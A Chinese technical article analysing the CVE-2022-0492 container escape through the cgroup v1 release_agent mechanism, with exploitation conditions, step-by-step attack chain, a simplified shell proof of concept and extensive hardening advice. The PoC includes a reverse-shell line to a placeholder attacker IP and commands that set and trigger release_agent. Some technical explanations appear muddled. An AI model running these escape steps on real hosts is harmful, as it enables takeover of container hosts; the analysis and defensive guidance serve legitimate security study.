ARTICLE DETAIL

资讯详情

深耕网站SEO优化与搜索引擎排名提升的一线实战洞察。

CVE-2022-0492容器逃逸漏洞深度剖析:从cgroup release_agent机制到安全加固

CVE-2022-0492容器逃逸漏洞深度剖析:从cgroup release_agent机制到安全加固 1. 从一次“越狱”说起容器逃逸的本质最近在复盘一些经典的容器安全案例CVE-2022-0492 这个漏洞让我印象很深。它不像那些利用内核模块或者系统调用的复杂攻击而是巧妙地利用了容器运行时比如 Docker和 Linux 内核一个核心安全机制——cgroup——之间的配置缝隙实现了一次“优雅”的逃逸。简单来说它让一个被关在“笼子”容器里的进程获得了在“笼子”外宿主机执行任意代码的能力。这听起来有点抽象但如果你理解容器本质上就是一组进程加上资源限制cgroup和视图隔离namespace那么这个漏洞的原理就非常直观了攻击者通过容器内的一个特殊文件操作绕过了 cgroup 对设备访问的控制从而在宿主机上挂载了一个可以执行任意代码的 cgroup最终实现逃逸。这个漏洞影响范围很广从 2022 年初披露到现在依然是容器安全攻防演练中的一个经典教学案例。它不依赖于某个特定的应用程序漏洞而是直指容器安全模型的基石之一。对于运维工程师和安全研究员来说理解这个漏洞不仅是学习一个 CVE 编号更是深入理解 Linux cgroup 机制、容器默认配置风险以及“最小权限原则”在实际中如何被违背的绝佳机会。接下来我会带你一步步拆解这个漏洞的成因、利用条件以及背后的深层逻辑。2. 漏洞核心cgroup release_agent 机制的滥用要理解 CVE-2022-0492我们必须先搞明白两个关键概念Linux cgroup 和它的release_agent功能。2.1 cgroup 与容器的关系cgroup全称 control groups是 Linux 内核的一个功能用于限制、记录和隔离进程组所使用的物理资源如 CPU、内存、磁盘 I/O、网络等。容器技术如 Docker重度依赖 cgroup 来实现资源限制。当你运行一个容器时Docker 引擎会为这个容器创建一个新的 cgroup并将容器内所有进程都放入这个 cgroup 中进行管理。在文件系统层面cgroup 以虚拟文件系统cgroupfs的形式呈现。在旧版的 cgroup v1 架构中这也是本漏洞发生的环境你可以在/sys/fs/cgroup目录下看到各种控制器如cpu,memory,devices的子目录。每个控制器目录下又可以创建更多的子目录来形成层级结构每个子目录就代表一个 cgroup。容器运行时会在这些控制器下创建属于容器的 cgroup 目录。2.2 release_agent 的“后门”机制在 cgroup v1 中有一个名为cpuset的控制器当然其他一些控制器也有它有一个特殊的文件release_agent。这个机制的设计初衷是用于管理当一个 cgroup 中最后一个进程退出时即 cgroup 变为空内核可以通知用户空间执行一个预设的脚本或程序来进行一些清理工作。这个预设的程序路径就写在release_agent文件里。关键在于release_agent文件通常只允许在 root cgroup即最顶层的 cgroup中进行配置。而且最终由内核执行的release_agent路径是以宿主机的根文件系统为视角的。也就是说如果你在release_agent里写了/tmp/payload.sh内核会去执行宿主机上的/tmp/payload.sh而不是容器内的。2.3 漏洞的触发点devices 控制器的权限检查缺失那么容器内的进程怎么能写release_agent呢这里就涉及到容器运行时的一个常见配置为了简化权限管理容器运行时以 Docker 为例在默认情况下会允许容器内的 root 用户即 uid 0访问一系列设备文件。这是通过将宿主机的/dev目录下的关键设备如/dev/null,/dev/zero,/dev/urandom等以--device参数或默认挂载的方式映射到容器内实现的。更重要的是Docker 默认会为容器挂载一个只读的 cgroup 文件系统。通常挂载在/sys/fs/cgroup。容器内的进程可以读取这些 cgroup 信息但默认不能修改。然而这里存在一个配置缝隙如果容器被以--privileged特权模式启动或者被赋予了特定的 Linux Capabilities能力它就可能获得对某些 cgroup 控制器目录的写权限。CVE-2022-0492 的核心就在于当容器内的进程拥有对cpusetcgroup 目录的写权限时它就可以尝试修改release_agent。内核在检查这个写操作时其权限验证逻辑存在缺陷。它主要检查进程是否有能力CAP_SYS_ADMIN在当前cgroup 层级内进行写操作但没有充分校验这个 cgroup 目录是否是一个“安全”的、允许配置release_agent的位置比如它可能是一个容器内部的、嵌套的 cgroup而非顶层的 root cgroup。在某些特定配置下例如宿主机使用了非默认的 cgroup 驱动或者容器获得了过高的权限攻击者就能在容器内部的 cgroup 目录中成功写入release_agent路径。写入之后攻击者只需要在这个 cgroup 中创建一个子 cgroup然后在这个子 cgroup 中启动一个进程再立刻杀掉它使得子 cgroup 变空就会触发内核执行release_agent中指定的宿主机路径上的程序。注意这里有一个非常重要的细节也是很多分析文章会忽略的。仅仅写入release_agent并触发它是不够的。因为release_agent执行时内核默认会将它限制在触发它的 cgroup 的命名空间内。为了让release_agent脚本能“看到”宿主机完整的文件系统以执行有效载荷攻击者通常还需要同时利用另一个特性通过向cgroup.procs文件写入1将进程“迁移”到 root cgroup从而突破命名空间隔离。或者更直接地在release_agent脚本里使用nsenter等工具切换命名空间。但在 CVE-2022-0492 的典型利用链中往往因为容器已经具备了某些高权限如CAP_SYS_ADMIN使得命名空间逃逸也变得可行。3. 漏洞利用的完整链条与条件纸上谈兵总是容易我们来看看在实际中攻击者需要满足哪些条件才能成功利用这个漏洞。这能帮助我们更好地评估自身环境的风险。3.1 必要的先决条件漏洞利用并非在任何容器环境下都能成功。它需要一系列条件同时满足这就像拼图缺一块都不行cgroup v1 环境这是首要条件。因为release_agent机制在 cgroup v2 中已被彻底重新设计原有的漏洞模式在 v2 上不适用。虽然现在新系统逐渐转向 cgroup v2但仍有大量生产环境特别是基于较旧 Linux 发行版如 CentOS 7, Ubuntu 18.04的 Kubernetes 集群运行在 cgroup v1 上。容器内 root 权限攻击者需要能在容器内以 root 用户uid 0身份执行命令。这很常见因为许多官方镜像为了简化操作默认就是以 root 用户运行或者用户因为方便而选择使用 root。对 cgroup 文件系统的写权限容器内的进程必须能够向/sys/fs/cgroup/cpuset或其他支持release_agent的控制器如memory目录下的文件进行写入操作。这通常不是默认配置。以下几种情况可能导致此权限被授予特权容器--privileged这是最危险的情况。特权容器几乎拥有宿主机 root 的所有能力自然包括对 cgroupfs 的写权限。授予特定的 Linux Capabilities如果容器被授予了CAP_SYS_ADMIN能力它就能执行一系列系统管理操作其中很可能包含对 cgroup 的写操作。即使没有CAP_SYS_ADMIN某些其他能力的组合或特定的挂载配置也可能打开缺口。不安全的卷挂载如果运维人员将宿主机的/sys/fs/cgroup以读写rw模式挂载到了容器内部那就相当于直接把后门打开了。这绝对是一个需要严令禁止的操作。3.2 典型的利用步骤拆解假设我们处于一个满足上述条件的脆弱环境中一次完整的攻击链可能如下所示信息收集攻击者在容器内执行cat /proc/self/cgroup和mount | grep cgroup确认自己处于 cgroup v1 环境并查看可写的 cgroup 控制器路径。定位可写 cgroup 目录尝试在/sys/fs/cgroup下的各个控制器目录中创建文件或子目录寻找一个允许写入的位置。例如发现/sys/fs/cgroup/cpuset是可写的。编写逃逸载荷在容器内准备一个 shell 脚本这个脚本的目标是在宿主机上执行命令。例如创建一个反向 shell 脚本或者更简单地写一个在宿主机创建文件的脚本。但要注意这个脚本需要放在容器内而release_agent需要宿主机路径。因此攻击者通常需要借助一个容器内和宿主机共享的路径比如通过卷挂载进来的目录。如果/tmp或/home被以读写模式从宿主机挂载进来那么容器内在该路径下写的脚本宿主机也能访问。配置 release_agent向可写 cgroup 目录下的release_agent文件写入宿主机上的脚本绝对路径例如如果宿主机的/host_tmp挂载到了容器的/tmp且脚本写在容器内的/tmp/payload.sh那么release_agent就应写入/host_tmp/payload.sh。触发 release_agent a. 在同一个可写 cgroup 目录下创建一个子目录例如x。 b. 将当前进程或一个 fork 出的子进程的 PID 写入子目录的cgroup.procs文件。这相当于把进程移入了这个新建的xcgroup。 c. 立刻杀死这个进程。由于它是xcgroup 中唯一的进程它的死亡使得xcgroup 变为空。 d. cgroup 变空的事件会触发内核执行之前在release_agent中配置的宿主机脚本。实现逃逸宿主机上的脚本被执行。如果这个脚本包含了如/bin/bash或反弹 shell 的命令并且成功突破了命名空间限制或者因为高权限本身就在初始命名空间攻击者就实现了容器逃逸获得了在宿主机上执行代码的能力。3.3 一个简化的概念验证PoC逻辑下面是一个极度简化的、用 Shell 命令描述的 PoC 逻辑帮助你理解流程。请注意这只是一个原理演示实际利用代码需要考虑更多边界条件如路径处理、信号处理、命名空间。# 在容器内执行假设已满足漏洞条件且 /host_tmp 是宿主机挂载进来的可写目录 # 1. 准备在宿主机上执行的payload cat /tmp/payload.sh EOF #!/bin/bash # 在宿主机上执行命令例如创建一个文件作为逃逸证明 touch /host_tmp/escape_success # 或者尝试启动一个反向shell /bin/bash -i /dev/tcp/攻击者IP/端口 01 EOF chmod x /tmp/payload.sh # 2. 找到可写的cgroup控制器目录这里假设是cpuset CGROUP_PATH/sys/fs/cgroup/cpuset # 写入release_agent指向宿主机上payload的路径假设容器/tmp挂载自宿主机/host_tmp echo /host_tmp/payload.sh $CGROUP_PATH/release_agent # 3. 启用release_agent机制需要先写入1 echo 1 $CGROUP_PATH/notify_on_release # 4. 创建子cgroup并触发 mkdir $CGROUP_PATH/x # 将当前shell进程移入子cgroup echo $$ $CGROUP_PATH/x/cgroup.procs # 立即退出当前shell子cgroup变空触发release_agent exit当这个 shell 退出后理论上宿主机上的/host_tmp/payload.sh就会被执行。在实际攻击中攻击者会使用更稳健的编程语言如 C 或 Go来精确控制进程的创建、移动和销毁并处理命名空间问题。4. 漏洞的修复与缓解措施这个漏洞的修复涉及内核和容器运行时两个层面。4.1 内核层面的修复Linux 内核社区针对此漏洞发布了补丁。补丁的核心思想是收紧对release_agent文件的写权限检查。具体来说补丁确保只有当进程在挂载了 cgroup 文件系统的命名空间内具有CAP_SYS_ADMIN能力并且其目标 cgroup 目录是 cgroup 文件系统根目录即 root cgroup时才允许配置release_agent。这从根本上杜绝了在容器内部嵌套的、非根 cgroup 中设置release_agent的可能性。因此最根本的修复方式是升级宿主机的 Linux 内核到已包含该补丁的版本。对于主流发行版可以查看其安全公告获取对应的内核版本号。4.2 容器运行时的安全配置内核补丁是治本之策但在无法立即升级内核的情况下或者为了防御未来类似的配置风险必须从容器运行时的配置上加强安全。这也是安全实践中“纵深防御”的体现。杜绝特权容器除非有绝对必要例如需要操作宿主机设备否则永远不要使用--privileged标志运行容器。在 Kubernetes 中对应的是 Pod Spec 中的securityContext.privileged: false默认值。遵循最小权限原则Least Privilege降权运行使用非 root 用户运行容器。在 Dockerfile 中使用USER指令在 Kubernetes 中设置securityContext.runAsNonRoot: true和runAsUser。裁剪 Capabilities删除容器不需要的所有 Linux Capabilities。Docker 默认已经删除了一部分但保留的仍可能过多。最安全的做法是--cap-dropALL然后--cap-add个别必需的。例如一个 Web 服务容器可能只需要NET_BIND_SERVICE。在 Kubernetes 中可以通过securityContext.capabilities.drop和add来配置。特别注意CAP_SYS_ADMIN这个能力非常强大几乎等同于主机 root。除非有特殊需求否则绝不应该授予容器。严格管控挂载禁止挂载宿主机敏感目录绝对不要将/sys,/proc,/dev等敏感目录以读写模式挂载到容器内。只读ro挂载也需要评估风险。避免挂载 Docker Socket将/var/run/docker.sock挂载到容器内相当于给了容器控制宿主机 Docker 守护进程的能力是极其危险的与逃逸无异。使用 cgroup v2如果基础设施允许迁移到 cgroup v2。cgroup v2 的架构更加简洁和安全彻底移除了release_agent这个历史包袱从根源上消除了此类漏洞。启用 Seccomp 和 AppArmor/SELinuxSeccomp通过 Seccomp 配置文件限制容器内进程可以调用的系统调用。Docker 和 Kubernetes 都提供了默认的 Seccomp 配置文件可以阻止许多危险的系统调用。一个精心配置的 Seccomp 策略可以阻断利用此漏洞所需的某些系统调用序列。AppArmor/SELinux使用强制访问控制MAC系统为容器进程定义更严格的访问规则例如限制其对/sys/fs/cgroup下文件的写操作。4.3 在 Kubernetes 中的安全实践在 Kubernetes 集群中除了上述容器层面的配置还可以使用以下机制Pod Security Standards/Policy使用 Kubernetes 的 Pod 安全标准PSS或 Pod 安全准入控制器PSA来强制实施安全策略。例如使用baseline或restricted标准它们会禁止特权模式、要求以非 root 运行等。安全上下文Security Context如前所述在 Pod 和容器级别细致配置securityContext。网络策略限制 Pod 间的网络通信即使发生逃逸也能限制横向移动的范围。5. 深度思考从 CVE-2022-0492 看容器安全模型分析完这个漏洞的技术细节我们不妨跳出来思考它带给我们的更深层次的启示。CVE-2022-0492 不仅仅是一个代码缺陷它暴露了容器安全模型在默认配置和实际使用中的一些固有风险。5.1 默认不安全 vs. 默认安全Docker 早期为了易用性做出了一些在安全视角下“默认不安全”的权衡。例如容器内 root 用户默认拥有相当多的能力Capabilities并且可以访问一些关键的设备文件。CVE-2022-0492 的利用条件之一容器内 root 对某些设备的访问权正是这种设计的副产品。现代容器运行时和编排系统正在向“默认安全”演进例如 Kubernetes 的restrictedPod 安全标准、containerd 的更多安全默认选项等。作为运维人员我们应该积极拥抱这些更安全的默认值而不是依赖过去的宽松配置。5.2 攻击面的复杂性容器的攻击面是多个 Linux 内核特性namespace, cgroup, capabilities, seccomp等与容器运行时配置的交集。CVE-2022-0492 完美地展示了这一点它涉及 cgroup 子系统的一个功能release_agent、内核的权限检查逻辑、容器运行时的挂载和 Capabilities 配置。攻击者只需要在复杂的交集中找到一个薄弱的缝隙。这意味着我们的防御不能只关注一点必须进行全方位的加固内核及时更新、Capabilities 最小化、挂载点严格控制、安全策略Seccomp, AppArmor启用。5.3 对“容器隔离”的再认识很多人有一个误解认为“容器就是轻量级虚拟机很安全”。通过这个漏洞我们可以看到容器的隔离性namespace和资源限制cgroup是相辅相成的但它们并非铜墙铁壁。当进程通过某种方式如本漏洞突破了 cgroup 的资源控制并借助高权限如CAP_SYS_ADMIN削弱了命名空间隔离时逃逸就可能发生。容器安全本质上是对 Linux 主机安全性的强化和封装其安全性上限不会超过宿主机内核的安全性。因此保障宿主机的安全及时打补丁、最小化服务与保障容器内部安全同等重要。5.4 安全左移与持续审计这个漏洞也强调了“安全左移”的重要性。在镜像构建阶段就应该使用非 root 用户并尽可能减少不必要的软件包和 Capabilities。在 CI/CD 管道中集成镜像漏洞扫描和配置合规性检查工具确保部署的镜像符合安全基线。在运行时使用 Kubernetes 的准入控制、安全策略以及 Falco 等运行时安全工具进行持续监控和审计及时发现异常的容器行为例如容器内进程尝试写入/sys/fs/cgroup下的文件。在我自己维护的集群里吃过几次配置不严的亏之后我现在会把 Pod Security Admission 的restricted标准作为所有非系统命名空间的默认要求并且定期用kube-bench和kube-hunter这样的工具做安全巡检。对于像 CVE-2022-0492 这类漏洞防御的关键不在于事后打补丁而在于事前通过严格的配置让攻击者连利用的第一个条件如对 cgroup 的写权限都无法满足。安全就是一个不断和“便利性”做斗争的过程而清晰的认知和严格的流程是赢得这场斗争的基础。
返回列表